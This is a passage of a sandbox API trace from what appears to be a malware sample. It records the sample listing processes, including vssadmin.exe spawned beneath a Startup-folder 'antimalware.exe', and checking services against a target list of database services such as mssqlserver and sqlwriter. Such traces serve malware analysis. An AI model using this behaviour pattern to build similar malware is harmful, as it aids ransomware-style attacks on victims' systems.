	[0150.437] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0150.437] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0150.438] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0150.438] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0150.439] lstrlenW (lpString="cmd.exe") returned 7
	[0150.439] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0150.440] lstrlenW (lpString="conhost.exe") returned 11
	[0150.440] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0150.441] lstrlenW (lpString="consent.exe") returned 11
	[0150.441] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0150.442] lstrlenW (lpString="vssadmin.exe") returned 12
	[0150.442] Process32NextW (in: hSnapshot=0x48c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0150.443] CloseHandle (hObject=0x48c) returned 1
	[0150.443] Sleep (dwMilliseconds=0x1f4) 
	[0151.025] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45affa8
	[0151.026] EnumServicesStatusExW (in: hSCManager=0x45affa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0151.027] GetLastError () returned 0xea
	[0151.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4640fc8
	[0151.027] EnumServicesStatusExW (in: hSCManager=0x45affa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4640fc8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4640fc8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0151.029] CloseServiceHandle (hSCObject=0x45affa8) returned 1
	[0151.029] lstrlenW (lpString="Appinfo") returned 7
	[0151.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0151.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0151.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0151.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0151.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0151.067] lstrlenW (lpString="AppXSvc") returned 7
	[0151.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0151.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0151.067] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0151.067] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0151.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0151.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0151.067] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0151.067] lstrlenW (lpString="Audiosrv") returned 8
	[0151.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0151.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0151.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0151.067] lstrlenW (lpString="BFE") returned 3
	[0151.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0151.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0151.067] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0151.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0151.067] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0151.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0151.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0151.068] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0151.068] lstrlenW (lpString="CDPSvc") returned 6
	[0151.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0151.068] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0151.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0151.068] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0151.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0151.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0151.068] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0151.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0151.068] lstrlenW (lpString="CryptSvc") returned 8
	[0151.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0151.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0151.069] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0151.069] lstrlenW (lpString="DcomLaunch") returned 10
	[0151.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0151.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0151.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0151.069] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0151.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0151.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0151.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0151.069] lstrlenW (lpString="Dhcp") returned 4
	[0151.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0151.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0151.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0151.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0151.069] lstrlenW (lpString="Dnscache") returned 8
	[0151.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0151.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0151.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0151.070] lstrlenW (lpString="DPS") returned 3
	[0151.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0151.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0151.070] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0151.070] lstrlenW (lpString="DusmSvc") returned 7
	[0151.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0151.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0151.070] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0151.070] lstrlenW (lpString="EventLog") returned 8
	[0151.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0151.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0151.070] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0151.070] lstrlenW (lpString="EventSystem") returned 11
	[0151.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0151.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0151.070] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0151.070] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0151.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0151.071] lstrlenW (lpString="FontCache") returned 9
	[0151.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0151.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0151.071] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0151.071] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0151.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0151.071] lstrlenW (lpString="gpsvc") returned 5
	[0151.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0151.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0151.071] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0151.071] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0151.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0151.071] lstrlenW (lpString="iphlpsvc") returned 8
	[0151.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0151.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0151.071] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0151.071] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0151.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0151.071] lstrlenW (lpString="KeyIso") returned 6
	[0151.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0151.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0151.071] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0151.071] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0151.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0151.071] lstrlenW (lpString="LanmanServer") returned 12
	[0151.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0151.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0151.072] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0151.072] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0151.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0151.072] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0151.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0151.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0151.072] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0151.072] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0151.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0151.072] lstrlenW (lpString="lfsvc") returned 5
	[0151.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0151.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0151.072] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0151.072] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0151.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0151.072] lstrlenW (lpString="lmhosts") returned 7
	[0151.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0151.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0151.072] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0151.072] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0151.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0151.072] lstrlenW (lpString="LSM") returned 3
	[0151.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0151.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0151.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0151.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0151.073] lstrlenW (lpString="MpsSvc") returned 6
	[0151.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0151.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0151.073] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0151.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0151.073] lstrlenW (lpString="NcbService") returned 10
	[0151.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0151.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0151.073] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0151.073] lstrlenW (lpString="netprofm") returned 8
	[0151.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0151.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0151.073] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0151.073] lstrlenW (lpString="NgcSvc") returned 6
	[0151.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0151.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0151.073] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0151.073] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0151.074] lstrlenW (lpString="NlaSvc") returned 6
	[0151.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0151.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0151.074] lstrlenW (lpString="nsi") returned 3
	[0151.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0151.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0151.074] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0151.074] lstrlenW (lpString="PcaSvc") returned 6
	[0151.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0151.074] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0151.074] lstrlenW (lpString="PlugPlay") returned 8
	[0151.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0151.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0151.074] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0151.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0151.074] lstrlenW (lpString="Power") returned 5
	[0151.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0151.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0151.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0151.075] lstrlenW (lpString="ProfSvc") returned 7
	[0151.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0151.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0151.075] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0151.075] lstrlenW (lpString="RpcEptMapper") returned 12
	[0151.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0151.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0151.075] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0151.075] lstrlenW (lpString="RpcSs") returned 5
	[0151.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0151.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0151.075] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0151.075] lstrlenW (lpString="SamSs") returned 5
	[0151.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0151.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0151.075] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0151.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0151.076] lstrlenW (lpString="Schedule") returned 8
	[0151.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0151.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0151.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0151.076] lstrlenW (lpString="SecurityHealthService") returned 21
	[0151.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0151.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0151.076] lstrlenW (lpString="SENS") returned 4
	[0151.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0151.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0151.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0151.076] lstrlenW (lpString="ShellHWDetection") returned 16
	[0151.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0151.076] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0151.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0151.077] lstrlenW (lpString="Spooler") returned 7
	[0151.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0151.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0151.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0151.077] lstrlenW (lpString="StateRepository") returned 15
	[0151.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0151.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0151.077] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0151.077] lstrlenW (lpString="SysMain") returned 7
	[0151.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0151.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0151.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0151.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0151.077] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0151.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
